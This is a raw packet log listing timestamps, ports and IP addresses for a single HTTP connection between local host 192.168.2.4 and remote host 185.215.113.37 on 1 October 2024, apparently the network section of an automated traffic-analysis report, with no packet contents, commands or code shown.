Oct 1, 2024 06:03:12.139517069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139525890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139561892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139568090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139600039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139606953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139631987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139645100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139663935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139669895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139695883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139699936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139729977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139740944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139761925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139770031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139794111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139801025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139832020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139839888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139883041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139889956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139921904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139931917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139956951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139965057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140006065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140012026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140042067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140050888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140075922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140106916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140108109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140129089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140140057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140151024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140173912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140182018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140207052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140221119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140247107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140259027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140290976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140297890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140327930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140333891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140358925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140373945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140392065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140396118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140425920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140436888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140455008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140470982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140486002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140500069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140518904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140536070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140549898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140567064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140580893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140594006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140614986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140630960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140646935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140666008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140681028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140697002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140712976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140727997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140757084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140763044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140796900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140813112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140826941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140842915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140860081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140872955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140892029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140906096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140933037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.140940905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140971899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.140993118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141004086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141017914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141052008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141052961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141087055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141100883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141115904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141132116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141166925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141170025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141217947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141220093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141251087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141288042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141299963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141340971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141347885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141381979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141386986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141407013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141416073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141427994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141463041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141465902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141498089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141510963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141542912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141546965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141592979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141597986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141639948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141645908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141680002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141697884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141714096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141727924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141747952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141765118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141781092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141798019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141812086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141824961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141858101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141861916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141894102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141912937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141927004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141941071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141958952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.141971111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.141992092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142007113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142024994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142039061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142070055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142072916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142103910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142121077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142136097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142148018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142168045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142182112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142200947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142216921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142234087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142245054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142267942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142282009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142302990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142312050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142335892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142350912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142368078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142380953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142400980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142410994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142451048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142460108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142483950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142498970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142512083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142529011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142544985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142561913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142577887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142591953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142611027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142627001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142643929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142658949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142676115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142697096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142709017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142723083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142740965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142764091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142772913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142793894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142805099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142817974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142837048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142849922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142868042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142883062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142915010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142927885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142960072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.142980099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.142992973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143007040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143027067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143043995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143059969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143074989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143090010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143107891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143121004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143132925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143155098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143183947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143187046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143201113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143213987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143233061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143246889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143260956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143274069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143295050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143306017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143323898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143341064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143347979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143368959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143394947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143419027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143419981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143455029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143465996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143482924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143503904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143516064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143548965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143553972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143568039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143579960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143598080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143611908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143624067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143644094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143660069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143676996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143692017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143712044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143727064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143744946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.143762112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.143791914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226049900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226111889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226144075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226161003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226212025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226243973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226264954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226298094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226322889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226346970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226375103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226377964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226413012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226429939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226500034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226531029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226531029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226563931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226589918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226596117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226629972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226656914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226661921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226711035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226742029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226742983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226775885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226809025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226840019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226871967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226903915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226903915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226937056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.226968050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.226985931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227013111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227041960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227060080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227092028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227123022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227152109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227152109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227155924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227185965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227190018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227222919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227225065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227260113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227261066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227293968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227324009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227324963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227359056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227391958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227410078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227442026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227489948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227500916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227534056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227564096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227581978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227613926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227643967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227644920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227678061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227710009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227715969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227760077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227792025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227807999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227839947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227870941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227874041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227905989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227936029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.227936983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.227971077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228001118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.228018999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228050947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228084087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.228099108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228130102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228153944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.228157997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228205919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228235960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.228255987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228303909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228336096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.228337049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.228367090 CEST	80	49730	185.215.113.37	192.168.2.4
